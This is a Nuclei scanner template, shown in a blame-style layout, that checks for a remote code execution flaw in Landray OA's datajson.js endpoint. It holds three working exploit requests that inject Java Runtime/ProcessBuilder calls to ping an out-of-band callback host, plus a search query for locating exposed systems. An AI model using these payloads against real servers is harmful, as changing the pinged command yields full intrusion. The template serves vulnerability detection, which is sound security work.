2023-09-16 17:58:50 +02:00
|
|
|
id: landray-oa-datajson-rce
|
|
|
|
|
|
|
|
info:
|
2023-11-23 07:44:29 +01:00
|
|
|
name: Landray OA Datajson RCE
|
2023-09-16 17:58:50 +02:00
|
|
|
author: SleepingBag945
|
|
|
|
severity: critical
|
|
|
|
description: |
|
2023-11-23 07:44:29 +01:00
|
|
|
FOFA: app="Landray-OA系统"
|
|
|
|
reference:
|
|
|
|
- https://www.cnsuc.net/thread-553.htm
|
|
|
|
tags: landray,rce
|
2023-09-16 17:58:50 +02:00
|
|
|
|
|
|
|
http:
|
|
|
|
- raw:
|
|
|
|
- |
|
2023-11-23 07:44:29 +01:00
|
|
|
POST /data/sys-common/datajson.js HTTP/1.1
|
2023-09-16 17:58:50 +02:00
|
|
|
Host: {{Hostname}}
|
2023-11-23 07:44:29 +01:00
|
|
|
Content-Type: application/x-www-form-urlencoded
|
2023-09-16 17:58:50 +02:00
|
|
|
|
2023-11-23 07:44:29 +01:00
|
|
|
s_bean=sysFormulaSimulateByJS&script=new java.lang.ProcessBuilder("ping","{{interactsh-url}}").start()&type=1
|
|
|
|
|
|
|
|
- |
|
|
|
|
POST /data/sys-common/datajson.js HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
|
|
|
|
s_bean=sysFormulaSimulateByJS&script=function%20test(){%20return%20java.lang.Runtime};r=test();r.getRuntime().exec("ping%20-c%204%20{{interactsh-url}}")&type=1
|
|
|
|
|
|
|
|
- |
|
|
|
|
POST /data/sys-common/datajson.js HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
|
|
|
|
s_bean=sysFormulaSimulateByJS&script=var+calc='ping+{{interactsh-url}}';java.lang.Runtime.getRuntime().exec(calc)&type=1
|
|
|
|
|
|
|
|
matchers-condition: and
|
2023-09-16 17:58:50 +02:00
|
|
|
matchers:
|
2023-11-23 07:44:29 +01:00
|
|
|
- type: word
|
|
|
|
part: interactsh_protocol # Confirms the DNS Interaction
|
|
|
|
words:
|
|
|
|
- "dns"
|
|
|
|
- type: word
|
|
|
|
words:
|
|
|
|
- 'success":true'
|
2023-09-16 17:58:50 +02:00
|
|
|
condition: and
|
2023-11-01 09:00:03 +01:00
|
|
|
|
2023-11-23 07:44:29 +01:00
|
|
|
|
|
|
|
extractors:
|
|
|
|
- type: kval
|
|
|
|
kval:
|
|
|
|
- interactsh_ip # Print remote interaction IP in output
|
|
|
|
|